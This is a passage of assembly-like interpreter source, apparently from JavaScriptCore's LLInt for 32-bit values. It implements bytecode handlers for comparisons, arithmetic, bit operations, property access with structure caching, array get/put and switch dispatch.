loadConstantOrVariable2Reg(t0, t2, t0)
bineq t2, t3, .opNeqSlow
bieq t2, CellTag, .opNeqSlow
bib t2, LowestTag, .opNeqSlow
loadi 4[PC], t2
cineq t0, t1, t0
storei BooleanTag, TagOffset[cfr, t2, 8]
storei t0, PayloadOffset[cfr, t2, 8]
dispatch(4)
.opNeqSlow:
callSlowPath(_llint_slow_path_neq)
dispatch(4)
_llint_op_neq_null:
traceExecution()
loadi 8[PC], t0
loadi 4[PC], t3
assertNotConstant(t0)
loadi TagOffset[cfr, t0, 8], t1
loadi PayloadOffset[cfr, t0, 8], t0
bineq t1, CellTag, .opNeqNullImmediate
loadp JSCell::m_structure[t0], t1
btbnz Structure::m_typeInfo + TypeInfo::m_flags[t1], MasqueradesAsUndefined, .opNeqNullMasqueradesAsUndefined
move 1, t1
jmp .opNeqNullNotImmediate
.opNeqNullMasqueradesAsUndefined:
loadp CodeBlock[cfr], t0
loadp CodeBlock::m_globalObject[t0], t0
cpneq Structure::m_globalObject[t1], t0, t1
jmp .opNeqNullNotImmediate
.opNeqNullImmediate:
cineq t1, NullTag, t2
cineq t1, UndefinedTag, t1
andi t2, t1
.opNeqNullNotImmediate:
storei BooleanTag, TagOffset[cfr, t3, 8]
storei t1, PayloadOffset[cfr, t3, 8]
dispatch(3)
macro strictEq(equalityOperation, slowPath)
loadi 12[PC], t2
loadi 8[PC], t0
loadConstantOrVariable(t2, t3, t1)
loadConstantOrVariable2Reg(t0, t2, t0)
bineq t2, t3, .slow
bib t2, LowestTag, .slow
bineq t2, CellTag, .notString
loadp JSCell::m_structure[t0], t2
loadp JSCell::m_structure[t1], t3
bbneq Structure::m_typeInfo + TypeInfo::m_type[t2], StringType, .notString
bbeq Structure::m_typeInfo + TypeInfo::m_type[t3], StringType, .slow
.notString:
loadi 4[PC], t2
equalityOperation(t0, t1, t0)
storei BooleanTag, TagOffset[cfr, t2, 8]
storei t0, PayloadOffset[cfr, t2, 8]
dispatch(4)
.slow:
callSlowPath(slowPath)
dispatch(4)
end
_llint_op_stricteq:
traceExecution()
strictEq(macro (left, right, result) cieq left, right, result end, _llint_slow_path_stricteq)
_llint_op_nstricteq:
traceExecution()
strictEq(macro (left, right, result) cineq left, right, result end, _llint_slow_path_nstricteq)
_llint_op_inc:
traceExecution()
loadi 4[PC], t0
bineq TagOffset[cfr, t0, 8], Int32Tag, .opIncSlow
loadi PayloadOffset[cfr, t0, 8], t1
baddio 1, t1, .opIncSlow
storei t1, PayloadOffset[cfr, t0, 8]
dispatch(2)
.opIncSlow:
callSlowPath(_llint_slow_path_pre_inc)
dispatch(2)
_llint_op_dec:
traceExecution()
loadi 4[PC], t0
bineq TagOffset[cfr, t0, 8], Int32Tag, .opDecSlow
loadi PayloadOffset[cfr, t0, 8], t1
bsubio 1, t1, .opDecSlow
storei t1, PayloadOffset[cfr, t0, 8]
dispatch(2)
.opDecSlow:
callSlowPath(_llint_slow_path_pre_dec)
dispatch(2)
_llint_op_to_number:
traceExecution()
loadi 8[PC], t0
loadi 4[PC], t1
loadConstantOrVariable(t0, t2, t3)
bieq t2, Int32Tag, .opToNumberIsInt
biaeq t2, LowestTag, .opToNumberSlow
.opToNumberIsInt:
storei t2, TagOffset[cfr, t1, 8]
storei t3, PayloadOffset[cfr, t1, 8]
dispatch(3)
.opToNumberSlow:
callSlowPath(_llint_slow_path_to_number)
dispatch(3)
_llint_op_negate:
traceExecution()
loadi 8[PC], t0
loadi 4[PC], t3
loadConstantOrVariable(t0, t1, t2)
bineq t1, Int32Tag, .opNegateSrcNotInt
btiz t2, 0x7fffffff, .opNegateSlow
negi t2
storei Int32Tag, TagOffset[cfr, t3, 8]
storei t2, PayloadOffset[cfr, t3, 8]
dispatch(3)
.opNegateSrcNotInt:
bia t1, LowestTag, .opNegateSlow
xori 0x80000000, t1
storei t1, TagOffset[cfr, t3, 8]
storei t2, PayloadOffset[cfr, t3, 8]
dispatch(3)
.opNegateSlow:
callSlowPath(_llint_slow_path_negate)
dispatch(3)
macro binaryOpCustomStore(integerOperationAndStore, doubleOperation, slowPath)
loadi 12[PC], t2
loadi 8[PC], t0
loadConstantOrVariable(t2, t3, t1)
loadConstantOrVariable2Reg(t0, t2, t0)
bineq t2, Int32Tag, .op1NotInt
bineq t3, Int32Tag, .op2NotInt
loadi 4[PC], t2
integerOperationAndStore(t3, t1, t0, .slow, t2)
dispatch(5)
.op1NotInt:
# First operand is definitely not an int, the second operand could be anything.
bia t2, LowestTag, .slow
bib t3, LowestTag, .op1NotIntOp2Double
bineq t3, Int32Tag, .slow
ci2d t1, ft1
jmp .op1NotIntReady
.op1NotIntOp2Double:
fii2d t1, t3, ft1
.op1NotIntReady:
loadi 4[PC], t1
fii2d t0, t2, ft0
doubleOperation(ft1, ft0)
stored ft0, [cfr, t1, 8]
dispatch(5)
.op2NotInt:
# First operand is definitely an int, the second operand is definitely not.
loadi 4[PC], t2
bia t3, LowestTag, .slow
ci2d t0, ft0
fii2d t1, t3, ft1
doubleOperation(ft1, ft0)
stored ft0, [cfr, t2, 8]
dispatch(5)
.slow:
callSlowPath(slowPath)
dispatch(5)
end
macro binaryOp(integerOperation, doubleOperation, slowPath)
binaryOpCustomStore(
macro (int32Tag, left, right, slow, index)
integerOperation(left, right, slow)
storei int32Tag, TagOffset[cfr, index, 8]
storei right, PayloadOffset[cfr, index, 8]
end,
doubleOperation, slowPath)
end
_llint_op_add:
traceExecution()
binaryOp(
macro (left, right, slow) baddio left, right, slow end,
macro (left, right) addd left, right end,
_llint_slow_path_add)
_llint_op_mul:
traceExecution()
binaryOpCustomStore(
macro (int32Tag, left, right, slow, index)
const scratch = int32Tag # We know that we can reuse the int32Tag register since it has a constant.
move right, scratch
bmulio left, scratch, slow
btinz scratch, .done
bilt left, 0, slow
bilt right, 0, slow
.done:
storei Int32Tag, TagOffset[cfr, index, 8]
storei scratch, PayloadOffset[cfr, index, 8]
end,
macro (left, right) muld left, right end,
_llint_slow_path_mul)
_llint_op_sub:
traceExecution()
binaryOp(
macro (left, right, slow) bsubio left, right, slow end,
macro (left, right) subd left, right end,
_llint_slow_path_sub)
_llint_op_div:
traceExecution()
binaryOpCustomStore(
macro (int32Tag, left, right, slow, index)
ci2d left, ft0
ci2d right, ft1
divd ft0, ft1
bcd2i ft1, right, .notInt
storei int32Tag, TagOffset[cfr, index, 8]
storei right, PayloadOffset[cfr, index, 8]
jmp .done
.notInt:
stored ft1, [cfr, index, 8]
.done:
end,
macro (left, right) divd left, right end,
_llint_slow_path_div)
macro bitOp(operation, slowPath, advance)
loadi 12[PC], t2
loadi 8[PC], t0
loadConstantOrVariable(t2, t3, t1)
loadConstantOrVariable2Reg(t0, t2, t0)
bineq t3, Int32Tag, .slow
bineq t2, Int32Tag, .slow
loadi 4[PC], t2
operation(t1, t0, .slow)
storei t3, TagOffset[cfr, t2, 8]
storei t0, PayloadOffset[cfr, t2, 8]
dispatch(advance)
.slow:
callSlowPath(slowPath)
dispatch(advance)
end
_llint_op_lshift:
traceExecution()
bitOp(
macro (left, right, slow) lshifti left, right end,
_llint_slow_path_lshift,
4)
_llint_op_rshift:
traceExecution()
bitOp(
macro (left, right, slow) rshifti left, right end,
_llint_slow_path_rshift,
4)
_llint_op_urshift:
traceExecution()
bitOp(
macro (left, right, slow)
urshifti left, right
bilt right, 0, slow
end,
_llint_slow_path_urshift,
4)
_llint_op_bitand:
traceExecution()
bitOp(
macro (left, right, slow) andi left, right end,
_llint_slow_path_bitand,
5)
_llint_op_bitxor:
traceExecution()
bitOp(
macro (left, right, slow) xori left, right end,
_llint_slow_path_bitxor,
5)
_llint_op_bitor:
traceExecution()
bitOp(
macro (left, right, slow) ori left, right end,
_llint_slow_path_bitor,
5)
_llint_op_check_has_instance:
traceExecution()
loadi 12[PC], t1
loadConstantOrVariablePayload(t1, CellTag, t0, .opCheckHasInstanceSlow)
loadp JSCell::m_structure[t0], t0
btbz Structure::m_typeInfo + TypeInfo::m_flags[t0], ImplementsDefaultHasInstance, .opCheckHasInstanceSlow
dispatch(5)
.opCheckHasInstanceSlow:
callSlowPath(_llint_slow_path_check_has_instance)
dispatch(0)
_llint_op_instanceof:
traceExecution()
# Actually do the work.
loadi 12[PC], t0
loadi 4[PC], t3
loadConstantOrVariablePayload(t0, CellTag, t1, .opInstanceofSlow)
loadp JSCell::m_structure[t1], t2
bbb Structure::m_typeInfo + TypeInfo::m_type[t2], ObjectType, .opInstanceofSlow
loadi 8[PC], t0
loadConstantOrVariablePayload(t0, CellTag, t2, .opInstanceofSlow)
# Register state: t1 = prototype, t2 = value
move 1, t0
.opInstanceofLoop:
loadp JSCell::m_structure[t2], t2
loadi Structure::m_prototype + PayloadOffset[t2], t2
bpeq t2, t1, .opInstanceofDone
btinz t2, .opInstanceofLoop
move 0, t0
.opInstanceofDone:
storei BooleanTag, TagOffset[cfr, t3, 8]
storei t0, PayloadOffset[cfr, t3, 8]
dispatch(4)
.opInstanceofSlow:
callSlowPath(_llint_slow_path_instanceof)
dispatch(4)
_llint_op_is_undefined:
traceExecution()
loadi 8[PC], t1
loadi 4[PC], t0
loadConstantOrVariable(t1, t2, t3)
storei BooleanTag, TagOffset[cfr, t0, 8]
bieq t2, CellTag, .opIsUndefinedCell
cieq t2, UndefinedTag, t3
storei t3, PayloadOffset[cfr, t0, 8]
dispatch(3)
.opIsUndefinedCell:
loadp JSCell::m_structure[t3], t1
btbnz Structure::m_typeInfo + TypeInfo::m_flags[t1], MasqueradesAsUndefined, .opIsUndefinedMasqueradesAsUndefined
move 0, t1
storei t1, PayloadOffset[cfr, t0, 8]
dispatch(3)
.opIsUndefinedMasqueradesAsUndefined:
loadp CodeBlock[cfr], t3
loadp CodeBlock::m_globalObject[t3], t3
cpeq Structure::m_globalObject[t1], t3, t1
storei t1, PayloadOffset[cfr, t0, 8]
dispatch(3)
_llint_op_is_boolean:
traceExecution()
loadi 8[PC], t1
loadi 4[PC], t2
loadConstantOrVariableTag(t1, t0)
cieq t0, BooleanTag, t0
storei BooleanTag, TagOffset[cfr, t2, 8]
storei t0, PayloadOffset[cfr, t2, 8]
dispatch(3)
_llint_op_is_number:
traceExecution()
loadi 8[PC], t1
loadi 4[PC], t2
loadConstantOrVariableTag(t1, t0)
storei BooleanTag, TagOffset[cfr, t2, 8]
addi 1, t0
cib t0, LowestTag + 1, t1
storei t1, PayloadOffset[cfr, t2, 8]
dispatch(3)
_llint_op_is_string:
traceExecution()
loadi 8[PC], t1
loadi 4[PC], t2
loadConstantOrVariable(t1, t0, t3)
storei BooleanTag, TagOffset[cfr, t2, 8]
bineq t0, CellTag, .opIsStringNotCell
loadp JSCell::m_structure[t3], t0
cbeq Structure::m_typeInfo + TypeInfo::m_type[t0], StringType, t1
storei t1, PayloadOffset[cfr, t2, 8]
dispatch(3)
.opIsStringNotCell:
storep 0, PayloadOffset[cfr, t2, 8]
dispatch(3)
macro loadPropertyAtVariableOffsetKnownNotInline(propertyOffset, objectAndStorage, tag, payload)
assert(macro (ok) bigteq propertyOffset, firstOutOfLineOffset, ok end)
negi propertyOffset
loadp JSObject::m_butterfly[objectAndStorage], objectAndStorage
loadi TagOffset + (firstOutOfLineOffset - 2) * 8[objectAndStorage, propertyOffset, 8], tag
loadi PayloadOffset + (firstOutOfLineOffset - 2) * 8[objectAndStorage, propertyOffset, 8], payload
end
macro loadPropertyAtVariableOffset(propertyOffset, objectAndStorage, tag, payload)
bilt propertyOffset, firstOutOfLineOffset, .isInline
loadp JSObject::m_butterfly[objectAndStorage], objectAndStorage
negi propertyOffset
jmp .ready
.isInline:
addp sizeof JSObject - (firstOutOfLineOffset - 2) * 8, objectAndStorage
.ready:
loadi TagOffset + (firstOutOfLineOffset - 2) * 8[objectAndStorage, propertyOffset, 8], tag
loadi PayloadOffset + (firstOutOfLineOffset - 2) * 8[objectAndStorage, propertyOffset, 8], payload
end
macro resolveGlobal(size, slow)
# Operands are as follows:
# 4[PC] Destination for the load.
# 8[PC] Property identifier index in the code block.
# 12[PC] Structure pointer, initialized to 0 by bytecode generator.
# 16[PC] Offset in global object, initialized to 0 by bytecode generator.
loadp CodeBlock[cfr], t0
loadp CodeBlock::m_globalObject[t0], t0
loadp JSCell::m_structure[t0], t1
bpneq t1, 12[PC], slow
loadi 16[PC], t1
loadPropertyAtVariableOffsetKnownNotInline(t1, t0, t2, t3)
loadi 4[PC], t0
storei t2, TagOffset[cfr, t0, 8]
storei t3, PayloadOffset[cfr, t0, 8]
loadi (size - 1) * 4[PC], t0
valueProfile(t2, t3, t0)
end
_llint_op_init_global_const:
traceExecution()
loadi 8[PC], t1
loadi 4[PC], t0
loadConstantOrVariable(t1, t2, t3)
writeBarrier(t2, t3)
storei t2, TagOffset[t0]
storei t3, PayloadOffset[t0]
dispatch(5)
_llint_op_init_global_const_check:
traceExecution()
loadp 12[PC], t2
loadi 8[PC], t1
loadi 4[PC], t0
btbnz [t2], .opInitGlobalConstCheckSlow
loadConstantOrVariable(t1, t2, t3)
writeBarrier(t2, t3)
storei t2, TagOffset[t0]
storei t3, PayloadOffset[t0]
dispatch(5)
.opInitGlobalConstCheckSlow:
callSlowPath(_llint_slow_path_init_global_const_check)
dispatch(5)
# We only do monomorphic get_by_id caching for now, and we do not modify the
# opcode. We do, however, allow for the cache to change anytime if fails, since
# ping-ponging is free. At best we get lucky and the get_by_id will continue
# to take fast path on the new cache. At worst we take slow path, which is what
# we would have been doing anyway.
macro getById(getPropertyStorage)
traceExecution()
loadi 8[PC], t0
loadi 16[PC], t1
loadConstantOrVariablePayload(t0, CellTag, t3, .opGetByIdSlow)
loadi 20[PC], t2
getPropertyStorage(
t3,
t0,
macro (propertyStorage, scratch)
bpneq JSCell::m_structure[t3], t1, .opGetByIdSlow
loadi 4[PC], t1
loadi TagOffset[propertyStorage, t2], scratch
loadi PayloadOffset[propertyStorage, t2], t2
storei scratch, TagOffset[cfr, t1, 8]
storei t2, PayloadOffset[cfr, t1, 8]
loadi 32[PC], t1
valueProfile(scratch, t2, t1)
dispatch(9)
end)
.opGetByIdSlow:
callSlowPath(_llint_slow_path_get_by_id)
dispatch(9)
end
_llint_op_get_by_id:
getById(withInlineStorage)
_llint_op_get_by_id_out_of_line:
getById(withOutOfLineStorage)
_llint_op_get_array_length:
traceExecution()
loadi 8[PC], t0
loadp 16[PC], t1
loadConstantOrVariablePayload(t0, CellTag, t3, .opGetArrayLengthSlow)
loadp JSCell::m_structure[t3], t2
arrayProfile(t2, t1, t0)
btiz t2, IsArray, .opGetArrayLengthSlow
btiz t2, IndexingShapeMask, .opGetArrayLengthSlow
loadi 4[PC], t1
loadp 32[PC], t2
loadp JSObject::m_butterfly[t3], t0
loadi -sizeof IndexingHeader + IndexingHeader::u.lengths.publicLength[t0], t0
bilt t0, 0, .opGetArrayLengthSlow
valueProfile(Int32Tag, t0, t2)
storep t0, PayloadOffset[cfr, t1, 8]
storep Int32Tag, TagOffset[cfr, t1, 8]
dispatch(9)
.opGetArrayLengthSlow:
callSlowPath(_llint_slow_path_get_by_id)
dispatch(9)
_llint_op_get_arguments_length:
traceExecution()
loadi 8[PC], t0
loadi 4[PC], t1
bineq TagOffset[cfr, t0, 8], EmptyValueTag, .opGetArgumentsLengthSlow
loadi ArgumentCount + PayloadOffset[cfr], t2
subi 1, t2
storei Int32Tag, TagOffset[cfr, t1, 8]
storei t2, PayloadOffset[cfr, t1, 8]
dispatch(4)
.opGetArgumentsLengthSlow:
callSlowPath(_llint_slow_path_get_arguments_length)
dispatch(4)
macro putById(getPropertyStorage)
traceExecution()
loadi 4[PC], t3
loadi 16[PC], t1
loadConstantOrVariablePayload(t3, CellTag, t0, .opPutByIdSlow)
loadi 12[PC], t2
getPropertyStorage(
t0,
t3,
macro (propertyStorage, scratch)
bpneq JSCell::m_structure[t0], t1, .opPutByIdSlow
loadi 20[PC], t1
loadConstantOrVariable2Reg(t2, scratch, t2)
writeBarrier(scratch, t2)
storei scratch, TagOffset[propertyStorage, t1]
storei t2, PayloadOffset[propertyStorage, t1]
dispatch(9)
end)
end
_llint_op_put_by_id:
putById(withInlineStorage)
.opPutByIdSlow:
callSlowPath(_llint_slow_path_put_by_id)
dispatch(9)
_llint_op_put_by_id_out_of_line:
putById(withOutOfLineStorage)
macro putByIdTransition(additionalChecks, getPropertyStorage)
traceExecution()
loadi 4[PC], t3
loadi 16[PC], t1
loadConstantOrVariablePayload(t3, CellTag, t0, .opPutByIdSlow)
loadi 12[PC], t2
bpneq JSCell::m_structure[t0], t1, .opPutByIdSlow
additionalChecks(t1, t3)
loadi 20[PC], t1
getPropertyStorage(
t0,
t3,
macro (propertyStorage, scratch)
addp t1, propertyStorage, t3
loadConstantOrVariable2Reg(t2, t1, t2)
writeBarrier(t1, t2)
storei t1, TagOffset[t3]
loadi 24[PC], t1
storei t2, PayloadOffset[t3]
storep t1, JSCell::m_structure[t0]
dispatch(9)
end)
end
macro noAdditionalChecks(oldStructure, scratch)
end
macro structureChainChecks(oldStructure, scratch)
const protoCell = oldStructure # Reusing the oldStructure register for the proto
loadp 28[PC], scratch
assert(macro (ok) btpnz scratch, ok end)
loadp StructureChain::m_vector[scratch], scratch
assert(macro (ok) btpnz scratch, ok end)
bieq Structure::m_prototype + TagOffset[oldStructure], NullTag, .done
.loop:
loadi Structure::m_prototype + PayloadOffset[oldStructure], protoCell
loadp JSCell::m_structure[protoCell], oldStructure
bpneq oldStructure, [scratch], .opPutByIdSlow
addp 4, scratch
bineq Structure::m_prototype + TagOffset[oldStructure], NullTag, .loop
.done:
end
_llint_op_put_by_id_transition_direct:
putByIdTransition(noAdditionalChecks, withInlineStorage)
_llint_op_put_by_id_transition_direct_out_of_line:
putByIdTransition(noAdditionalChecks, withOutOfLineStorage)
_llint_op_put_by_id_transition_normal:
putByIdTransition(structureChainChecks, withInlineStorage)
_llint_op_put_by_id_transition_normal_out_of_line:
putByIdTransition(structureChainChecks, withOutOfLineStorage)
_llint_op_get_by_val:
traceExecution()
loadi 8[PC], t2
loadConstantOrVariablePayload(t2, CellTag, t0, .opGetByValSlow)
loadp JSCell::m_structure[t0], t2
loadp 16[PC], t3
arrayProfile(t2, t3, t1)
loadi 12[PC], t3
loadConstantOrVariablePayload(t3, Int32Tag, t1, .opGetByValSlow)
loadp JSObject::m_butterfly[t0], t3
andi IndexingShapeMask, t2
bieq t2, Int32Shape, .opGetByValIsContiguous
bineq t2, ContiguousShape, .opGetByValNotContiguous
.opGetByValIsContiguous:
biaeq t1, -sizeof IndexingHeader + IndexingHeader::u.lengths.publicLength[t3], .opGetByValOutOfBounds
loadi TagOffset[t3, t1, 8], t2
loadi PayloadOffset[t3, t1, 8], t1
jmp .opGetByValDone
.opGetByValNotContiguous:
bineq t2, DoubleShape, .opGetByValNotDouble
biaeq t1, -sizeof IndexingHeader + IndexingHeader::u.lengths.publicLength[t3], .opGetByValOutOfBounds
loadd [t3, t1, 8], ft0
bdnequn ft0, ft0, .opGetByValSlow
# FIXME: This could be massively optimized.
fd2ii ft0, t1, t2
loadi 4[PC], t0
jmp .opGetByValNotEmpty
.opGetByValNotDouble:
subi ArrayStorageShape, t2
bia t2, SlowPutArrayStorageShape - ArrayStorageShape, .opGetByValSlow
biaeq t1, -sizeof IndexingHeader + IndexingHeader::u.lengths.vectorLength[t3], .opGetByValOutOfBounds
loadi ArrayStorage::m_vector + TagOffset[t3, t1, 8], t2
loadi ArrayStorage::m_vector + PayloadOffset[t3, t1, 8], t1
.opGetByValDone:
loadi 4[PC], t0
bieq t2, EmptyValueTag, .opGetByValOutOfBounds
.opGetByValNotEmpty:
storei t2, TagOffset[cfr, t0, 8]
storei t1, PayloadOffset[cfr, t0, 8]
loadi 20[PC], t0
valueProfile(t2, t1, t0)
dispatch(6)
.opGetByValOutOfBounds:
if VALUE_PROFILER
loadpFromInstruction(4, t0)
storeb 1, ArrayProfile::m_outOfBounds[t0]
end
.opGetByValSlow:
callSlowPath(_llint_slow_path_get_by_val)
dispatch(6)
_llint_op_get_argument_by_val:
# FIXME: At some point we should array profile this. Right now it isn't necessary
# since the DFG will never turn a get_argument_by_val into a GetByVal.
traceExecution()
loadi 8[PC], t0
loadi 12[PC], t1
bineq TagOffset[cfr, t0, 8], EmptyValueTag, .opGetArgumentByValSlow
loadConstantOrVariablePayload(t1, Int32Tag, t2, .opGetArgumentByValSlow)
addi 1, t2
loadi ArgumentCount + PayloadOffset[cfr], t1
biaeq t2, t1, .opGetArgumentByValSlow
negi t2
loadi 4[PC], t3
loadi ThisArgumentOffset + TagOffset[cfr, t2, 8], t0
loadi ThisArgumentOffset + PayloadOffset[cfr, t2, 8], t1
loadi 20[PC], t2
storei t0, TagOffset[cfr, t3, 8]
storei t1, PayloadOffset[cfr, t3, 8]
valueProfile(t0, t1, t2)
dispatch(6)
.opGetArgumentByValSlow:
callSlowPath(_llint_slow_path_get_argument_by_val)
dispatch(6)
_llint_op_get_by_pname:
traceExecution()
loadi 12[PC], t0
loadConstantOrVariablePayload(t0, CellTag, t1, .opGetByPnameSlow)
loadi 16[PC], t0
bpneq t1, PayloadOffset[cfr, t0, 8], .opGetByPnameSlow
loadi 8[PC], t0
loadConstantOrVariablePayload(t0, CellTag, t2, .opGetByPnameSlow)
loadi 20[PC], t0
loadi PayloadOffset[cfr, t0, 8], t3
loadp JSCell::m_structure[t2], t0
bpneq t0, JSPropertyNameIterator::m_cachedStructure[t3], .opGetByPnameSlow
loadi 24[PC], t0
loadi [cfr, t0, 8], t0
subi 1, t0
biaeq t0, JSPropertyNameIterator::m_numCacheableSlots[t3], .opGetByPnameSlow
bilt t0, JSPropertyNameIterator::m_cachedStructureInlineCapacity[t3], .opGetByPnameInlineProperty
addi firstOutOfLineOffset, t0
subi JSPropertyNameIterator::m_cachedStructureInlineCapacity[t3], t0
.opGetByPnameInlineProperty:
loadPropertyAtVariableOffset(t0, t2, t1, t3)
loadi 4[PC], t0
storei t1, TagOffset[cfr, t0, 8]
storei t3, PayloadOffset[cfr, t0, 8]
dispatch(7)
.opGetByPnameSlow:
callSlowPath(_llint_slow_path_get_by_pname)
dispatch(7)
macro contiguousPutByVal(storeCallback)
biaeq t3, -sizeof IndexingHeader + IndexingHeader::u.lengths.publicLength[t0], .outOfBounds
.storeResult:
loadi 12[PC], t2
storeCallback(t2, t1, t0, t3)
dispatch(5)
.outOfBounds:
biaeq t3, -sizeof IndexingHeader + IndexingHeader::u.lengths.vectorLength[t0], .opPutByValOutOfBounds
if VALUE_PROFILER
loadp 16[PC], t2
storeb 1, ArrayProfile::m_mayStoreToHole[t2]
end
addi 1, t3, t2
storei t2, -sizeof IndexingHeader + IndexingHeader::u.lengths.publicLength[t0]
jmp .storeResult
end
_llint_op_put_by_val:
traceExecution()
loadi 4[PC], t0
loadConstantOrVariablePayload(t0, CellTag, t1, .opPutByValSlow)
loadp JSCell::m_structure[t1], t2
loadp 16[PC], t3
arrayProfile(t2, t3, t0)
loadi 8[PC], t0
loadConstantOrVariablePayload(t0, Int32Tag, t3, .opPutByValSlow)
loadp JSObject::m_butterfly[t1], t0
andi IndexingShapeMask, t2
bineq t2, Int32Shape, .opPutByValNotInt32
contiguousPutByVal(
macro (operand, scratch, base, index)
loadConstantOrVariablePayload(operand, Int32Tag, scratch, .opPutByValSlow)
storei Int32Tag, TagOffset[base, index, 8]
storei scratch, PayloadOffset[base, index, 8]
end)
.opPutByValNotInt32:
bineq t2, DoubleShape, .opPutByValNotDouble
contiguousPutByVal(
macro (operand, scratch, base, index)
const tag = scratch
const payload = operand
loadConstantOrVariable2Reg(operand, tag, payload)
bineq tag, Int32Tag, .notInt
ci2d payload, ft0
jmp .ready
.notInt:
fii2d payload, tag, ft0
bdnequn ft0, ft0, .opPutByValSlow
.ready:
stored ft0, [base, index, 8]
end)
.opPutByValNotDouble:
bineq t2, ContiguousShape, .opPutByValNotContiguous
contiguousPutByVal(
macro (operand, scratch, base, index)
const tag = scratch
const payload = operand
loadConstantOrVariable2Reg(operand, tag, payload)
writeBarrier(tag, payload)
storei tag, TagOffset[base, index, 8]
storei payload, PayloadOffset[base, index, 8]
end)
.opPutByValNotContiguous:
bineq t2, ArrayStorageShape, .opPutByValSlow
biaeq t3, -sizeof IndexingHeader + IndexingHeader::u.lengths.vectorLength[t0], .opPutByValOutOfBounds
bieq ArrayStorage::m_vector + TagOffset[t0, t3, 8], EmptyValueTag, .opPutByValArrayStorageEmpty
.opPutByValArrayStorageStoreResult:
loadi 12[PC], t2
loadConstantOrVariable2Reg(t2, t1, t2)
writeBarrier(t1, t2)
storei t1, ArrayStorage::m_vector + TagOffset[t0, t3, 8]
storei t2, ArrayStorage::m_vector + PayloadOffset[t0, t3, 8]
dispatch(5)
.opPutByValArrayStorageEmpty:
if VALUE_PROFILER
loadp 16[PC], t1
storeb 1, ArrayProfile::m_mayStoreToHole[t1]
end
addi 1, ArrayStorage::m_numValuesInVector[t0]
bib t3, -sizeof IndexingHeader + IndexingHeader::u.lengths.publicLength[t0], .opPutByValArrayStorageStoreResult
addi 1, t3, t1
storei t1, -sizeof IndexingHeader + IndexingHeader::u.lengths.publicLength[t0]
jmp .opPutByValArrayStorageStoreResult
.opPutByValOutOfBounds:
if VALUE_PROFILER
loadpFromInstruction(4, t0)
storeb 1, ArrayProfile::m_outOfBounds[t0]
end
.opPutByValSlow:
callSlowPath(_llint_slow_path_put_by_val)
dispatch(5)
_llint_op_jmp:
traceExecution()
dispatchBranch(4[PC])
macro jumpTrueOrFalse(conditionOp, slow)
loadi 4[PC], t1
loadConstantOrVariablePayload(t1, BooleanTag, t0, .slow)
conditionOp(t0, .target)
dispatch(3)
.target:
dispatchBranch(8[PC])
.slow:
callSlowPath(slow)
dispatch(0)
end
macro equalNull(cellHandler, immediateHandler)
loadi 4[PC], t0
assertNotConstant(t0)
loadi TagOffset[cfr, t0, 8], t1
loadi PayloadOffset[cfr, t0, 8], t0
bineq t1, CellTag, .immediate
loadp JSCell::m_structure[t0], t2
cellHandler(t2, Structure::m_typeInfo + TypeInfo::m_flags[t2], .target)
dispatch(3)
.target:
dispatchBranch(8[PC])
.immediate:
ori 1, t1
immediateHandler(t1, .target)
dispatch(3)
end
_llint_op_jeq_null:
traceExecution()
equalNull(
macro (structure, value, target)
btbz value, MasqueradesAsUndefined, .opJeqNullNotMasqueradesAsUndefined
loadp CodeBlock[cfr], t0
loadp CodeBlock::m_globalObject[t0], t0
bpeq Structure::m_globalObject[structure], t0, target
.opJeqNullNotMasqueradesAsUndefined:
end,
macro (value, target) bieq value, NullTag, target end)
_llint_op_jneq_null:
traceExecution()
equalNull(
macro (structure, value, target)
btbz value, MasqueradesAsUndefined, target
loadp CodeBlock[cfr], t0
loadp CodeBlock::m_globalObject[t0], t0
bpneq Structure::m_globalObject[structure], t0, target
end,
macro (value, target) bineq value, NullTag, target end)
_llint_op_jneq_ptr:
traceExecution()
loadi 4[PC], t0
loadi 8[PC], t1
loadp CodeBlock[cfr], t2
loadp CodeBlock::m_globalObject[t2], t2
bineq TagOffset[cfr, t0, 8], CellTag, .opJneqPtrBranch
loadp JSGlobalObject::m_specialPointers[t2, t1, 4], t1
bpeq PayloadOffset[cfr, t0, 8], t1, .opJneqPtrFallThrough
.opJneqPtrBranch:
dispatchBranch(12[PC])
.opJneqPtrFallThrough:
dispatch(4)
macro compare(integerCompare, doubleCompare, slowPath)
loadi 4[PC], t2
loadi 8[PC], t3
loadConstantOrVariable(t2, t0, t1)
loadConstantOrVariable2Reg(t3, t2, t3)
bineq t0, Int32Tag, .op1NotInt
bineq t2, Int32Tag, .op2NotInt
integerCompare(t1, t3, .jumpTarget)
dispatch(4)
.op1NotInt:
bia t0, LowestTag, .slow
bib t2, LowestTag, .op1NotIntOp2Double
bineq t2, Int32Tag, .slow
ci2d t3, ft1
jmp .op1NotIntReady
.op1NotIntOp2Double:
fii2d t3, t2, ft1
.op1NotIntReady:
fii2d t1, t0, ft0
doubleCompare(ft0, ft1, .jumpTarget)
dispatch(4)
.op2NotInt:
ci2d t1, ft0
bia t2, LowestTag, .slow
fii2d t3, t2, ft1
doubleCompare(ft0, ft1, .jumpTarget)
dispatch(4)
.jumpTarget:
dispatchBranch(12[PC])
.slow:
callSlowPath(slowPath)
dispatch(0)
end
_llint_op_switch_imm:
traceExecution()
loadi 12[PC], t2
loadi 4[PC], t3
loadConstantOrVariable(t2, t1, t0)
loadp CodeBlock[cfr], t2
loadp CodeBlock::m_rareData[t2], t2
muli sizeof SimpleJumpTable, t3 # FIXME: would be nice to peephole this!
loadp CodeBlock::RareData::m_immediateSwitchJumpTables + VectorBufferOffset[t2], t2
addp t3, t2
bineq t1, Int32Tag, .opSwitchImmNotInt
subi SimpleJumpTable::min[t2], t0
biaeq t0, SimpleJumpTable::branchOffsets + VectorSizeOffset[t2], .opSwitchImmFallThrough
loadp SimpleJumpTable::branchOffsets + VectorBufferOffset[t2], t3
loadi [t3, t0, 4], t1
btiz t1, .opSwitchImmFallThrough
dispatchBranchWithOffset(t1)
.opSwitchImmNotInt:
bib t1, LowestTag, .opSwitchImmSlow # Go to slow path if it's a double.
.opSwitchImmFallThrough:
dispatchBranch(8[PC])
.opSwitchImmSlow:
callSlowPath(_llint_slow_path_switch_imm)
dispatch(0)
_llint_op_switch_char:
traceExecution()
loadi 12[PC], t2
loadi 4[PC], t3
loadConstantOrVariable(t2, t1, t0)
loadp CodeBlock[cfr], t2
loadp CodeBlock::m_rareData[t2], t2
muli sizeof SimpleJumpTable, t3
loadp CodeBlock::RareData::m_characterSwitchJumpTables + VectorBufferOffset[t2], t2
addp t3, t2
bineq t1, CellTag, .opSwitchCharFallThrough
loadp JSCell::m_structure[t0], t1
